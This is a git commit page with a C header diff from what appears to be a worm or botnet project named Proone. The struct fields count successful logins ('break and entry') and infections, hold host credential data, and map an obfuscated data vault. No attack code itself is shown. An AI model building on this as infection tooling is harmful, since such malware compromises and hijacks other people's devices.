diff options
author | David Timber <mieabby@gmail.com> | 2020-08-20 12:23:35 +0930 |
---|---|---|
committer | David Timber <mieabby@gmail.com> | 2020-08-20 15:15:57 +0930 |
commit | 76d4d6b2bafada7b790e817b7324d53f3d3a0c7f (patch) | |
tree | d8b3669fa7b167fc3bf764e971fc6e70bd8d9b49 /src/proone.h | |
parent | 7bd3eb3b1ad4209ac4cf4b46f849213d46bc33aa (diff) |
Progress ...
* Move DVault out of executable. Dynamically load it on startup
* Improved testing scheme
* Tidy up prne_*assert* macro series
* Protocol: store host credentials in base64 string. No mask
* Use the lock shm as a shared_global so the stats can persist
* mmap() the executable read-only for later use
Diffstat (limited to 'src/proone.h')
-rw-r--r-- | src/proone.h | 24 |
1 files changed, 16 insertions, 8 deletions
diff --git a/src/proone.h b/src/proone.h index 1516e56..e551e14 100644 --- a/src/proone.h +++ b/src/proone.h @@ -13,12 +13,9 @@ #include <mbedtls/ctr_drbg.h> -struct prne_global { - uint8_t *host_cred_data; - size_t host_cred_size; +struct prne_global { // TODO: tidy init code when finalised struct timespec parent_start; struct timespec child_start; - uint_fast64_t run_cnt; uint8_t boot_id[16]; uint8_t instance_id[16]; pth_t main_pth; @@ -28,7 +25,12 @@ struct prne_global { prne_resolv_t *resolv; pid_t parent_pid; pid_t child_pid; - int lock_shm_fd; + int shm_fd; + uint8_t *m_dvault; + const uint8_t *m_exec; + size_t exec_size; + const uint8_t *m_exec_dvault; + uint16_t dvault_size; bool bin_ready; bool is_child; @@ -55,12 +57,17 @@ struct prne_global { }; struct prne_shared_global { + // Format Revision + uint8_t rev; + // Number of child process crash. + uint32_t crash_cnt; // "break and entry" count. Number of successful logins. - uint_fast64_t bne_cnt; + uint64_t bne_cnt; // Number of successful infections. - uint_fast64_t infect_cnt; + uint64_t infect_cnt; // null-terminated name of new binary - char ny_bin_name[20]; + char ny_bin_name[256]; + char host_cred_data[256]; }; static const intptr_t PRNE_RESOLV_WKR_ID = 0; @@ -68,4 +75,5 @@ static const intptr_t PRNE_HTBT_WKR_ID = 1; extern struct prne_global prne_g; +// TODO: could be NULL on some environments extern struct prne_shared_global *prne_s_g; |